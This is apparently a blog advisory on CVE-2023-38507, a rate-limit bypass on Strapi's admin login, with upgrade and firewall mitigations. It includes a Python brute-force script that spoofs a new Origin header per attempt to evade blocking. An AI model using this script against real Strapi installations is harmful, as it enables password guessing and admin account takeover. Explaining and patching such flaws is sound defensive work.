Strapi is a popular open-source headless CMS used by developers to manage content for websites and applications. In July 2023, a security vulnerability — CVE-2023-38507 — was discovered in Strapi. This issue affects all versions before 4.12.1 and lets attackers bypass the rate limit protection on the admin login page, making brute-force attacks much easier.
In this post, we'll break down what happened, show how the exploit works (with code!), and provide tips to secure your Strapi installation. All examples and explanations are in straightforward, simple terms.
Fixed in: Strapi version 4.12.1
Normally, when users enter the wrong password too many times, Strapi is supposed to slow down or block more login attempts from that user or IP address. This is called "rate limiting" and helps block brute-force password attacks.
The Problem
A bug in Strapi’s rate limiter meant attackers could change parts of their login request (like the HTTP Origin header) to sidestep the protections and keep hammering the login endpoint with new guesses.
How the Exploit Works
The exploit is surprisingly simple. Every login POST request to /admin/login is supposed to trigger the rate limiter. However, the system used part of the HTTP headers to identify each request source. If an attacker changed the Origin header in each attempt, Strapi would see it as a “new” login attempt — and reset the counter.
Here’s what this might look like in Python using the requests library
import requests
url = "https://example.com/admin/login";
# Replace with your list of passwords to try
passwords = ['admin123', 'password', 'letmein', 'secret']
for i, password in enumerate(passwords):
# Change the Origin header for each try
headers = {
"Origin": f"http://attacker{i}.evil.com";
}
data = {
"email": "admin@example.com",
"password": password
}
response = requests.post(url, json=data, headers=headers)
print(f"Attempt {i+1}: Status {response.status_code}")
if "token" in response.text:
print("SUCCESS! Password found:", password)
break
What happens here?
Each login attempt uses a different Origin header, so Strapi’s rate limiter sees each try as if it's from a new source and never enforces a block. You can try thousands of passwords in rapid succession.
Demonstrating the Vulnerability
Suppose normal rate limiting triggers after 5 bad attempts — you should be blocked after 5 tries. But using the above script, or simply switching the Origin header in tools like Burp Suite, you can keep trying as many passwords as you want.
Easy brute-force
This makes Strapi instances running vulnerable versions prime targets for automated password-guessing bots.
Original References
- Strapi Security Advisory
- CVE Details for CVE-2023-38507
- Strapi Release Notes 4.12.1
How Did Strapi Fix This?
In version 4.12.1, Strapi changed the way it calculates rate limits for logins. It no longer lets attackers use sneaky header tricks to avoid the limit, using more reliable identifiers instead (like IP address and consistent login identity).
Upgrade instructions:
npm install strapi@latest
# or for yarn
yarn upgrade strapi@latest
Add Web Application Firewall (WAF) Rules
Use your server or cloud WAF to set rate limits on /admin/login, regardless of headers.
Restrict Admin Access By IP
Only allow trusted IPs (your company, VPN) to access /admin.
Conclusion
CVE-2023-38507 shows how even small implementation decisions (like which headers to use for rate limiting) can have a big security impact. If you run Strapi, update now to version 4.12.1 or later. Don’t give attackers an easy way in!
Stay safe!
If you want more Strapi security tips, check out the Strapi Security Documentation
---
*This post is exclusive — written in simple language for developers and admins looking to secure their content systems.*
Timeline
Published on: 09/15/2023 20:15:00 UTC
Last modified on: 09/21/2023 14:09:00 UTC